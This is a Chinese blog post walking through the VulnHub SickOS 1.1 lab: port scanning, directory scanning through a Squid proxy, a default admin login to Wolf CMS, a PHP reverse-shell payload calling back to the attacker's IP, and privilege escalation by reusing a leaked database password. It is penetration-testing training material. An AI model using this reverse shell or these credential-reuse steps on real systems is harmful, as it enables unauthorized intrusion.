首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

红队打靶:SickOS1.1详细打靶思路(vulnhub)

  • 25-02-20 15:01
  • 3528
  • 12526
blog.csdn.net

目录

写在开头

第一步:主机发现和端口扫描

第二步 squid代理分析

第三步:web渗透

第四步:提权

总结与思考

写在开头

本篇博客还是根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于http代理的知识点,以及如何使用代理进行网站目录扫描。完整打靶思路详见:

「红队笔记」靶机精讲:SickOS1.1 - 穿越Squid代理的CMS渗透_哔哩哔哩_bilibili

本次针对的靶机是vulnhub中的SickOS1.1,这个靶机开放一个http代理服务squid 3.1.19,拿到root权限的思路有两种,本篇博客先详述其中一种:squid代理分析+web渗透cms后台。后一种利用shellshock漏洞的方法将在下一篇博客进行详述。

本文打靶的靶机是vulnhub上的,链接见

SickOs: 1.1 ~ VulnHub

靶机下载链接见:

https://download.vulnhub.com/sickos/sick0s1.1.7z

下载好之后,用vmware打开即可,将网络适配器设置为NAT模式,否则可能在主机发现模块找不到靶机ip 

靶机打开之后就是一个黑色的登录界面,我们并不知道登录的用户名和密码。

第一步:主机发现和端口扫描

 这一步大部分靶机思路都相同,详见前两篇打靶博客。查看kali的ip(命令是ip a),是192.168.200.131,所在网段是192.168.200.0/24,于是扫描此网段:

nmap -sn 192.168.200.0/24

 靶机上线前后,进行两次网段扫描,发现上线的靶机ip是192.168.200.141,接下来对这个ip进行端口扫描。(--min-rate 10000表示以最小速率10000扫描,-p-表示扫描所有端口)

nmap --min-rate 10000 -p- 192.168.200.141

 发现了三个端口,开放的22,3128和关闭的8080 。我们再用tcp扫描一下这三个端口。(-sT用TCP扫描,-sV查看服务版本,-O查看操作系统版本,-p后面添加端口号)

nmap -sT -sV -O -p22,3128,8080 192.168.200.141

 发现3128开放的服务是一个http代理,版本是3.1.19。8080端口的服务也是http代理,但是显示已经关闭了。

 再用UDP扫描一下这三个端口,保证不会漏掉攻击面:

nmap -sU -p22,3128,8080 192.168.200.141

 很遗憾,一无所获。再用nmap自带的漏洞扫描脚本试试(--script=vuln)。

nmap --script=vuln -p22,3128,8080 192.168.200.141

 很遗憾,依旧是啥也看不出来。

第二步 squid代理分析

在第一步的端口扫描中,我们一共发现了三个端口,远程连接服务SSH的22端口,貌似是作为HTTP代理的3128端口,以及关闭的8080web端口。那我们应该从哪里入手呢?22端口应该是渗透的最后一步,我们不知道密码的情况下并没有什么优雅的渗透方式,而常见的web服务的80,8080端口也没有开放 ,我们试着浏览器访问靶机ip,意料之中,什么也看不到,再试试访问靶机ip:8080,依旧提示无法连接,如下图:

 刚刚端口扫描还有一个3128端口,这个端口我并不熟悉,至于其开放的服务squid我也不知道是啥,浏览器访问靶机ip:3128看看有没有什么信息,结果如下图:

 结果还不错,至少有页面,同时在页面底部的banner也显示了服务的版本信息(squid/3.1.19),和之前nmap扫描出的结果一致。再看看这个报错的ERROR页面,其实也没有更多信息了,页面中唯一的链接位置webmaster是用于发送邮件的,我们先不考虑。那我们就google搜一下squid这个服务是干啥的。注意一定要连带版本号一起搜索,要不然结果肯定是squid这个词的本意(鱿鱼)。

 大概可以搜到,这个服务是用作代理服务器的。3128就是代理服务器的端口。其他的细节咱也先不关注了。接下来进入我们web渗透的常规路径,对靶机ip进行目录扫描,看看会不会有结果。

dirb http://192.168.200.141

 直接在dirb后面添加靶机地址是无法扫描的,这个脚本都没跑起来。不够也正常,毕竟web相关的端口80,8080都没有对外开放。那再扫一下3128端口下面有没有信息:

dirb http://192.168.200.141:3128 

 这回终于能扫了,不过依旧是一无所获。那刚刚我们知道squid是代理服务器,我们试一试用dirb扫描的时候设置代理是192.168.200.141:3128,并对192.168.200.141进行扫描。说来参考,这个命令我也没用过,于是先查看帮助,输入dirb,可以发现有一个-p选项,后接代理ip:端口,即可添加代理服务器。

 那么用dirb使用代理服务器192.168.200.141:3128,对192.168.200.141进行扫描的指令如下:

dirb http://192.168.200.141 -p http://192.168.200.141:3128

 非常nice,这回扫描有结果了!重点关注其中状态码CODE:200的路径。接下来就应该是用浏览器访问这些路径试试了。

第三步:web渗透

 刚才我们浏览器直接访问192.168.200.141,没有任何回显,这是因为没有设置代理。我们打开浏览器,设置=>搜索代理proxy=>选择手工配置代理=>填入代理ip(即靶机ip)和端口(3128)

 设置手工配置代理,如下图:

 我这里的浏览器是kali自带的firefox浏览器,读者的浏览器如果不同,自己设置代理的配置即可。配置完成之后点击OK,再访问靶机ip192.168.200.141,就能看到页面回显了,如下图:

 结果这个界面就这样,F12看了一下,也啥也没有。至于这个BLEHHH!!!是啥意思,我们google搜索一下,发现就是个俚语,表示强烈的语气,每太大意思。

 那只能回到刚刚的dirb目录扫描结果,挨个寻找突破点。

 经过尝试发现.bash_history是一个空页面,index和index.php都是刚才的BLEHHH!!!页面,再看robots和robots,都是如下的界面:

 这个页面暴露了有个目录名为/wolfcms。那么我们浏览器访问靶机ip//wolfcms试试看,发现还真有结果:

 明显这个页面是一个名为wolfcms的内容管理系统,可以在页面的底部看到wolf cms的字样。同时我们在这个页面随便点点,感觉这个cms部署之后,好像还没有进行太多的使用,Articles模块也就两篇测试的文章,也没有实质性的内容。同时注意到点击Articles后,url路径变为了/wolfcms/?articles.html,如下图:

 估计这应该是个用户的前台界面,并不是cms后台的管理界面。因此我们的思路就是,寻找哪里可以进入这个cms的管理后台,看看有啥可以利用的点。已经知道这个cms名为wolfcms,直接google搜索wolfcms的管理后台路径,搜索结果如下图:

 谷歌搜索显示发现wolf cms的管理后台在wolfcms/?/admin路径下,结合之前Articles界面的url也包含一个? 很有可能就是这个路径。浏览器访问靶机ip192.168.200.141/wolfcms/?/admin,果然,出现了如下的登录界面。

 这应该就是这个cms的登录后台,只不过需要用户名和密码。基本上就是几个思路:弱口令或默认密码/爆破/渗透寻找泄露的信息。由于先前的网页目录扫描并没有暴露密码相关的内容,结合先前看到的前台的界面,感觉这个cms部署之后并没有太多的信息,因此很可能这个cms部署之后就没有修改配置,没有修改默认密码。总之经过谷歌搜索wolfcms default admin password,虽然没找到默认密码,但我们可以尝试以下弱口令,Username:admin/administrator/root  Password:admin/password/passwd/123456等等。很容易就尝试出结果,登录的用户名和密码都是admin,登录之后的管理界面如图:

 这里插一段题外话,虽然使用登录进来了,还是感觉略有碰巧的成分在。红队笔记大佬说到,其实也不是单纯碰运气,而是观察到这个wolfcms部署之后并没有太多的信息,很有可能部署之后就没有修改过默认配置,因此密码也可能是默认的弱口令。在实际渗透中,遇到这种不修改默认密码的情况也是很常见的。这个逻辑我感觉也很有道理。就是说像上一个靶机JARBAS,寻找cms的登录密码是采用了寻找敏感信息泄露的方法(详见上一篇博客JARBAS详细打靶过程)。此处我们还没有找到登录凭据泄露的地方,那到底是该继续寻找还是放弃然后去尝试弱口令呢,感觉确实有些依靠经验了。

在登录wolfcms后台之后随便点点,发现有很多代码执行和文件上传的位置,比如Home Page里面就可以填写php代码,如下图:

还有articles中也有php代码。我们可以在这些地方添加我们的payload,说不定就会执行。

 在files中还有可以进行文件上传的位置。我们也可以进行webshell上传的尝试等。

 我们的目标是获取shell,因此我们可以添加一句话php代码,用于反弹shell到kali。我们在kali中另起一个终端,nc监听端口1234,用于一会接收反弹shell。

nc -lvnp 1234

 然后在刚才的article页面输入反弹shell的一句话php代码,代码如下(我kali的ip是192.168.200.131,刚才开启nc监听的端口是1234,读者可根据自己的情况修改):

 exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.131/1234 0>&1'"); ?>

 添加后点击下方的Save and Close保存。

 保存之后会回到初始页面,提示成功保存,如下图中绿色矩形的提示:

 保存之后,我们返回刚才的kali监听终端,发现还没拿到Shell,那可能是我们只是保存了代码,并没有执行,我们点击articles右侧的放大镜,就会进行页面的部署,也就成功执行了代码:

 点击放大镜之后会自动跳转界面192.168.200.141/wolfcms/?articles.html,这是个空白界面。

 此时我们再查看刚才的监听端口,发现成功拿到了shell,这个shell是www-data的

我们可以ip a查看网卡信息,果然是靶机的地址,uname –a查看操作系统版本:

 第四步:提权

 拿到初始立足点,即www-data的权限后,我们应该进行提权,最终以拿到root权限为目标。首先先看看自己是什么权限,命令为sudo –l 然而很遗憾看不到啥,应该是权限很低。

 我们看看当前目录有啥信息:

ls –liah

 当前目录的文件还挺多,同时许多文件的权限都是777,非常nice,其中有个配置文件config.php,估计会有许多配置信息,我们看一看:

cat config.php

这个界面配置信息挺多的。给出了数据库的配置信息,用户名root,密码john@123

可是之前端口扫描,数据库3306端口并未被扫描出来。管他呢,我们先把这个密码记下来。再看看/etc/passwd ,说不定可以看到一些配置信息:

cat /etc/passwd

成功访问了!那能不能看/etc/shadow呢?很遗憾,权限不够:

 还是回到刚才的passwd中,有几个账号需要关注,给了/bin/bash环境的只有root和sickos,我们也看到了此时的用户www-data,现在我们知道数据库的密码是john@123,说不定这也是这几个账户的密码呢。我们ssh远程登录试试。最后发现是sickos的密码。ssh远程登录sickos账号:

ssh [email protected] 

 输入密码是john@123

 此时我们成功拿到了账号sickos的权限,再运行sudo -l查看此时自己的权限,需要输入密码john@123 发现权限已经是三个ALL的最高权限了。

sudo -l

 既然已经具有ALL权限,直接运行sudo /bin/bash获取root的shell,如下图:

sudo /bin/bash

 当前目录啥也没有,估计flag在/root目录下,果然找到了。

 至此打靶完成。

总结与思考

这个靶机不算复杂,还是总结一下打靶的全过程和思路,如下:

1.主机发现和端口扫描,发现开放了远程连接SSH的22端口和用于代理服务器的3128端口。

2.综合考虑还是从web入手,但是直接访问没有信息,浏览器访问靶机3128端口可看到服务名版本为squid 3.1.19,谷歌搜索这是个啥,发现是个代理服务器。因此进行目录扫描时设置代理服务器,成功扫出来一些路径。然后浏览器设置代理访问,找到了wolfcms的页面。

3.寻找wolfcms的后台登录界面,Google搜索找到了路径,然后找到了登录界面,弱口令登录成功,寻找后台代码执行和文件上传的位置。

4.构造反弹shell的命令,放置再wolfcms中的Articles界面,保存。在kali中开启nc监听,并在wolfcms中触发命令执行。成功拿到了www-data的shell。

5.尝试提权,查找凭据敏感信息。查看www-data的权限,发现需要密码,我们不知,尝试查看当前目录,发现有一个config.php,里面有数据库的账号和密码,密码为join@123 。

6.查看/etc/passwd 发现了sickos这个账户拥有/bin/bash环境,很可能是个有效用户。猜测数据库和ssh登录账户公用相同的密码,成功ssh登录了sickos的账户。

7.提权,发现已经是三个ALL的权限,直接运行sudo /bin/bash即可拿到最高权限。

一些思考和疑惑的点:

1.登录wolfcms后台的时候,用弱口令admin就成功登录了,我还是感觉这优点碰运气。

2.最后提权的时候,配置文件泄露了数据库的密码,而这个密码又恰巧就是用户sickos的密码,感觉也有点凑巧。

不够据红队笔记大佬讲,渗透过程就是要做很多尝试,有些时候看似是偶然,实际发生的概论也不低,这是因为可能运维人员图省事或者配置没来得及修改。也启发我们,不要使用默认密码和弱口令,不要把数据库密码也作为用户密码。

 这篇打靶就完成了,不过这个靶场还有其他的渗透思路,在我的下一篇文章中,将采用shellshock漏洞对sickos靶机进行渗透,敬请期待。

如果读者觉得我写的总结不错的话,恳请点赞多多支持。有针对靶场及漏洞的相关问题也可以在评论区指出,我一定知无不言。

注:本文转载自blog.csdn.net的Boss_frank的文章"https://blog.csdn.net/Bossfrank/article/details/131082543"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top